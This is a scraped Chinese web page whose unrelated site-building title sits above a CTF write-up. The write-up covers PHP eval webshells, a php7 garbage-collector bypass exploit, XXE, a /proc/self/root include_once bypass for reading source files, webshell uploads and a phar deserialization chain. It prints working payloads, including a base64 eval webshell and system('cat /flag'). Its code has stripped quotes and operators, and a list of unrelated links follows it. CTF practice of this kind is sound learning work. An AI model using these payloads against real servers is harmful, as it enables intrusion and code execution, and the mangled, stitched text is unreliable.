当前位置: 首页 > news >正文

教育网站颜色把自己的电脑做网站服务器

教育网站颜色,把自己的电脑做网站服务器,网站建设公司首选,宁波seo关键词优化案例[GKCTF 2020]CheckIN 代码审计 这段代码定义了一个名为ClassName的类#xff0c;并在脚本的最后创建了一个ClassName类的实例。 在ClassName类的构造函数中#xff0c;首先通过调用$this-x()方法获取了请求参数$_REQUEST中的值#xff0c;并将其赋值给$this-code属性…[GKCTF 2020]CheckIN 代码审计 这段代码定义了一个名为ClassName的类并在脚本的最后创建了一个ClassName类的实例。 在ClassName类的构造函数中首先通过调用$this-x()方法获取了请求参数$_REQUEST中的值并将其赋值给$this-code属性。接下来使用base64_decode()函数对$this-code进行解码将解码后的结果赋值给$this-decode属性。最后使用eval()函数执行$this-decode中的代码。 ClassName类还定义了一个名为x()的公共方法它返回$_REQUEST数组即包含了所有请求参数的关联数组。 最后通过new ClassName()创建了一个ClassName类的实例从而触发了构造函数的执行。 关键代码 function __construct()         {                 $this-code  $this-x()[Ginkgo];                 $this-decode  base64_decode( $this-code );                 Eval($this-decode); 大概意思就是传参Ginkgo并进行base64编码就可以执行eval函数 试试看 传参Ginkgophpinfo(); ?GinkgocGhwaW5mbygpOw 看一下限制函数 过滤了很多东西利用一句话木马来连接蚁剑然后找flag 本题前面有eval还增加eval原因是eval是把内容当作php代码执行写入$_POST[cmd]就不是一句话木马了,所以再增加一个  eval($_POST[cmd]); /?GinkgoZXZhbCgkX1BPU1RbJ2NtZCddKTs 连接发现有一个flag文件有一个realflag文件 打开发现flag文件没东西readflag是乱码 到这里有两种做法一是利用蚁剑的插件进行读取 二是利用phpinfo版本漏洞的exp进行读取 我用的是法2法1不知道为什么用不了 看phpinfo发现版本是7.3.18这个版本有漏洞 php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令影响范围为linuxphp7.0-7.3exp https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php 拉下来后修改改为执行readflag 然后把他写在/tmp文件夹因为只有他有写的权限777  上传exp并将执行命令改成 pwn(/readflag); include(/tmp/1.php); 进行base64编码 进行传参 ?GinkgoaW5jbHVkZSgnL3RtcC8xLnBocCcpOw 得到flag [SWPUCTF 2022 新生赛]Ez_upload 上传一句话木马 上传.htassecc文件发现被限制 抓包改发现上传成功在上传一个图片马就结束了 利用js标签上传成功他对php短标签还有过滤 发现上传成功看phpinfo();找信息 得到flag [NCTF 2019]Fake XML cookbook  看到是xxe注入也就是xml注入好久没看过了 先推荐两篇大佬的博客给大家没有系统的学过xxe XML外部实体XXE注入 - 知乎 XML注入攻击总结_xml攻击-CSDN博客 这个大佬通过这道题讲了xxe [NCTF2019]Fake XML cookbook XML注入_双层小牛堡的博客-CSDN博客 通过构造的payload看到了文件内容 直接读取flag,就得到了flag [NSSRound#8 Basic]MyPage  打开又是空的看到了url有?file传参 发现传伪协议进去也没得用,用dirsearch扫也没扫到 尝试用伪协议访问一下index.php只有伪协议能试试了 一直是没回显等到我传var/www/html/inedx.php的时候终于有了回显、 因为输入什么都没有回显并且传马也是传不上去 猜测是require_once()尝试绕过它 require_once()如果文件已包含则不会包含会生成致命错误E_COMPILE_ERROR并停止脚本 先来了解一下PHP文件包含机制 php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中正常情况下PHP会将用户输入的文件名进行resolve转换成标准的绝对路径这个转换的过程会将…/、./、软连接等都进行计算得到一个最终的路径再进行包含。如果软连接跳转的次数超过了某一个上限Linux的lstat函数就会出错导致PHP计算出的绝对路径就会包含一部分软连接的路径也就和原始路径不相同的即可绕过include_once限制。 /proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接 ​ cwd 文件是一个指向当前进程运行目录的符号链接 ​ /proc/self/cwd 返回当前文件所在目录 尝试用/proc/self/root连接回/使用脏数据绕过看看 脏数据是指什么_笔记大全_设计学院  Linux 内核提供了一种通过 /proc 文件系统在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统它只存在内存当中而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。 使用伪协议来读取文件构造payload: index.php?filephp://filter/readconvert.base64-encode/resource/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php 终于有了回显 得到了源码 ?php error_reporting(0); include flag.php; if(!isset($_GET[file])) {     header(Location:/index.php?file); } else {     $file $_GET[file];     if (!preg_match(/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is, $file)) {         include_once $file;     } else {         die(error.);     } } 尝试读取flag 得到flag [SWPUCTF 2021 新生赛]babyunser 之前考核做过phar的题也是文件上传正好再复习一下 【精选】文件上传与Phar反序列化的摩擦_phar文件上传_Aiwin-Hacker的博客-CSDN博客 打开是一个什么文件管理器 上马发现不行 在查看文件里查询class.php发现源码 ?php class aa{     public $name;     public function __construct(){         $this-nameaa;     }     public function __destruct(){         $this-namestrtolower($this-name);     } } class ff{     private $content;     public $func;     public function __construct(){         $this-content\?php eval(\$_POST[1]);?;     }     public function __get($key){         $this-$key-{$this-func}($_POST[cmd]);     } } class zz{     public $filename;     public $contentsurprise;     public function __construct($filename){         $this-filename$filename;     }     public function filter(){         if(preg_match(/^\/|php:|data|zip|\.\.\//i,$this-filename)){             die(这不合理);         }     }     public function write($var){         $filename$this-filename;         $lt$this-filename-$var;         //此功能废弃不想写了     }     public function getFile(){         $this-filter();         $contentsfile_get_contents($this-filename);         if(!empty($contents)){             return $contents;         }else{             die(404 not found);         }     }     public function __toString(){         $this-{$_POST[method]}($_POST[var]);         return $this-content;     } } class xx{     public $name;     public $arg;     public function __construct(){         $this-nameeval;         $this-argphpinfo();;     }     public function __call($name,$arg){         $name($arg[0]);     } } 还是构造pop链然后构造poc 既然是反序列化那么就需要寻找入口点ff类的__get魔术方法好像可以构造命令执行刚好ff类有私有的 content参数用于触发__get方法那么整条Pop链就是 aa::destruct()-zz::toString()-zz::write-xx-ff::__get() 主要是要通过write触发__get方法。 ?php class LoveNss{     public $ljt;     public $dky;     public $cmd;     public function __construct(){         $this-ljtMisc;         $this-dkyRe;         $this-cmdsystem(cat /flag);;     } } $a new LoveNss();   $phar new Phar(aa.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ? );   $phar-setMetadata($a); $phar-addFromString(test.txt, test); $phar-stopBuffering(); ? 通过脚本生成phar文件 filephar://upload/46aafa512d96f9be5726b5d9d777906d.txtmethodwritevarcontentcmdls / 得到flag
http://www.pierceye.com/news/519868/

相关文章:

  • 做网站的叫什么软件细谈电商网站外链建设的策略
  • 免费网站制作视频教程广东东莞营销
  • 女生做网站运营累不累贵州省铁路建设办公室网站
  • 全球外贸网站排名go生物网站做蛋白定位
  • 网站的规划和建设方案中教在线3d建模培训
  • 禾天姿网站开发设计上海官网
  • 个人备案后可以做电影网站吗做网站要注意哪些问题
  • 为什么我的网站在百度搜不到登封郑州网站建设
  • 中国建设部网站能查叉车证wordpress预览
  • 域名申请网页制作网站建设和外国人做古玩生意的网站
  • win7用自己ip做网站邯郸营销型网站建设
  • 织梦免费网站模块下载地址加强网站建设技术培训
  • 网站源码商城建设成都建站优化
  • 网站销售如何做业绩狗狗和人做网站
  • dede 手机站 怎么获取跳转网站安卓软件开发环境
  • 个人网站做什么类型好中国网络安全官网
  • 怎样优化网站排名上传到服务器的网站打开是空白
  • 我的世界做皮肤网站企业网站风格
  • 京东网站建设的基本情况做哪类网站赚钱
  • 淘宝上网站建设续费个人网站做什么类型的
  • 牙克石网站建设wordpress 跳过ftp
  • 中国建设银行官网站e路通下载店铺设计图纸及效果图大全
  • 福州网站推广公司烟台网络公司有哪些
  • 福建省建设注册管理中心网站那些做面点的网站好
  • 天津网站建设方案托管wordpress 批量删除
  • 网站后台管理系统域名在线设计房屋装修
  • 郑州网站建设工作室wordpress 编辑器字号
  • 内容聚合网站开发教程WordPress文章首页缩进
  • saas云建站平台源码新冠2024中国又要封城了
  • 济南网站建设认可搜点网络滨州网站建设